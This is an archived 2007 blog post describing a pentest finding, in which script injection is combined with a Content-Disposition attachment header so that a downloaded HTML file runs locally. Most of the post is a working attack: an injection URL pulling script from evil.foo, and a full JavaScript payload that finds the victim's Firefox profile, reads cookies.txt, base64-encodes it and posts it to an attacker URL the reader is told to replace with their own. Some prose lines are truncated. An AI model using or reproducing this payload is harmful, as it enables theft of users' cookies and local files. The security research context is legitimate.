Content-Disposition Hacking

Content-Disposition Hacking - pagvac, gnucitizen.org.

- Published: date not stated
- Original: <https://www.gnucitizen.org/blog/content-disposition-hacking>
- Current location: <https://www.gnucitizen.org/blog/content-disposition-hacking/>
- Preserved from: https://www.gnucitizen.org/blog/content-disposition-hacking/ (stored) on 2026-08-11
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Content

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Content-Disposition Hacking

Mon, 05 Nov 2007 12:44:31 GMT

by pagvac

In a recent pentest, a colleague of mine pointed out to me a script/html injection vulnerability on one of the hosts we were testing. I then copied and pasted the GET request he forwarded to me on telnet and verified that JavaScript could indeed be injected through the non-sanitized parameter. There were no restrictions on the input length or types of characters. No filtering whatsoever. The attack goes as the following:

```
GET /cgi-bin/vulnerable.cgi?param=<script>alert(document.location)</script> HTTP/1.1
Host: www.target.foo
Connection: close

HTTP/1.1 200 OK
Server: Apache
**Content-Disposition: attachment; filename=button.html**
Content-Length: 41
Content-Type: application/octet-stream

<script>alert(document.location)</script>
```

This was very interesting. When I pasted the test URL (_http://www.target.foo/cgi-bin/vulnerable.cgi?param=<script>alert(

Perhaps `vulnerable.cgi` was a legacy script that used to be used for dynamically generating the HTML of a menu buttc

http://victim.foo/cgi-bin/vulnerable.cgi?param=%3cscript%20src=http://evil.foo/evil.js%3e

You might be better off including the whole payload directly, as opposed to including it from a third-party site through

```
// evil.js - Adrian Pastor (pagvac) - GNUCITIZEN.org
document.write("<html><head></head><body><form method="POST"><input type="hidden" name="stolenfile"></for
// This code was written by Tyler Akins and has been placed in the
// public domain.  It would be nice if you left this header intact.
// Base64 code from Tyler Akins -- http://rumkin.com

var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function encode64(input) {
  var output = "";
  var chr1, chr2, chr3;
  var enc1, enc2, enc3, enc4;
  var i = 0;

  do {
    chr1 = input.charCodeAt(i++);
    chr2 = input.charCodeAt(i++);
    chr3 = input.charCodeAt(i++);

    enc1 = chr1 >> 2;
    enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
    enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
    enc4 = chr3 & 63;
```

```
    if (isNaN(chr2)) {
      enc3 = enc4 = 64;
    } else if (isNaN(chr3)) {
      enc4 = 64;
    }

    output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) +
      keyStr.charAt(enc3) + keyStr.charAt(enc4);
  } while (i < input.length);

  return output;
}
// end of Base64 code from Tyler Akins -- http://rumkin.com

// VARIABLE DECLARATIONS
var attackersURL = "http://evil.foo/xt.php"; // replace URL value with your own!  for [example](https://chatbotkit.com/exam
// interesting Mozilla Firefox files include cookies.txt, signons.txt, key3.db, bookmarks.bak
var j=0, found=0;
var strProfileContent, strFirefoxProfileLocation, strPayloadLocation, strProfileName, strHomeFolder;
var file2steal, strFile2StealContent, strTmp;

//alert(navigator.appName);

// if IE
if(navigator.appName=="Microsoft Internet Explorer")
{
      var req = new ActiveXObject("Microsoft.XMLHTTP");
      var reqB = new ActiveXObject("Microsoft.XMLHTTP");
}

else
{
      var req = new XMLHttpRequest();
      var reqB = new XMLHttpRequest();
}

strPayloadLocation=String(document.location);
document.write("strPayloadLocation: " + strPayloadLocation + "<br>");

// alert(strPayloadLocation.length);

if(!document.domain)
      document.write("<br>Running script on local context!!!<br><br>");
else
```

```
{
	alert("This file must be run locally (i.e.: Windows desktop)!");
	exit;
}

// get Windows home folder
for(j=0; j<strPayloadLocation.length; j++)
{
			//document.write(strPayloadLocation.charAt(j) + " ");
			if(strPayloadLocation.charAt(j)=="/")
			{
				++found;

				// in order to obtain Windows user home folder we get up to 6th slash
				// from document.location. i.e.: file:///C:/Documents%20and%20Settings/p0wn3dUser/
				if(found==6)
				{
					strHomeFolder = strPayloadLocation.substring(0, j+1);
					document.write("strHomeFolder: " + strHomeFolder + "<br>");
					break;
				}

			}
}

strFirefoxProfileLocation=strHomeFolder+"Application Data/Mozilla/Firefox/profiles.ini";

if(!strHomeFolder)
{
	alert("This HTML file must be launched anywhere within your home folder!\ni.e.:\nC:\\Documents and Settings\\m
	exit;
}

document.write("strFirefoxProfileLocation: " + strFirefoxProfileLocation + "<br>");

// get contents of strFirefoxProfileLocation
try
{
		//document.write(strFirefoxProfileLocation+"<br>");
		req.open("GET", strFirefoxProfileLocation, null);
		req.send(null);
		//alert(file2steal);
		if(req.responseText)
		{
```

```
                strProfileContent=req.responseText;
                document.write("profileContent:<br><br>" + strProfileContent + "<br><br>");

                strProfileName=strProfileContent.substring(strProfileContent.indexOf("/")+1, strProfileContent.length);
                strTmp=strProfileName;
                //alert(strProfileName);
                //alert(strProfileName.indexOf("\n"));
                //strProfileName=strTmp.substring(0, strProfileName.indexOf("\n")-1);
                strProfileName=strProfileName.substring(0, strProfileName.indexOf("\n")-1);
                //strProfileName.indexOf("\ ")
                document.write("StrProfileName: " + strProfileName + "<br>");
                //document.write(strProfileContent.indexOf("/")+"<br>");
        }

} catch (e) {};

file2steal = strHomeFolder + "Application Data/Mozilla/Firefox/Profiles/" + strProfileName + "/cookies.txt";
document.write("file2steal: "+ file2steal+"<br><br>");

// get contents of file2steal
try
{
        reqB.open("GET", file2steal, null);
        reqB.send(null);

        if(reqB.responseText)
        {
                strFile2StealContent=reqB.responseText;
                document.write("strFile2StealContent:<br><br>" + reqB.responseText + "<br><br>");
                strFile2StealContent=encode64(reqB.responseText);
        }

} catch (e) {};

document.forms[0].action=attackersURL;
//alert(document.forms[0].action);
document.forms[0].stolenfile.value=strFile2StealContent;
//alert(document.forms[0].stolenfile.value);

// confirm box only added for ethical reason. In a real-world scenario an attacker wouldnt even bother asking you
// for permission before stealing a file from your filesystem!
if(confirm("pagvac says:\n\Do you really want to submit your \"cookies.txt\" file to "+attackersURL+"\n???"))
    document.forms[0].submit();
else
```

```
    exit;

document.write("</body></html>");
```

The beauty of this attack is that that the bad guy can exploit the trust the victim has on the `victim.foo` domain, since t

Needless to say, if you visit a site controlled by the attacker, the same effect can be accomplished by simply configurin

```
<?

header("Content-Disposition: attachment; filename=bad.html");
header("Content-Type: text/html");
readfile("http://www.gnucitizen.org/blog/web-pages-from-hell-2/theft_of_Win_FF_cookies.html");

?>
```

If you want to experiment with `Content-Disposition` headers, you can simply run a netcat server on the go. All you ne

```
#!/bin/bash
# run-server.sh

while true
do
    cat response | nc -v -l -p55555
    # connect to localhost:55555 using your favorite browser
    sleep 2
done
```

Content of response file:

```
HTTP/1.1 200 OK
Server: test
content-disposition: attachment; filename=test.html
Content-length: 16
Content-Type: application/octet-stream

whatever content
```

Have fun and let me know if you find something interesting!
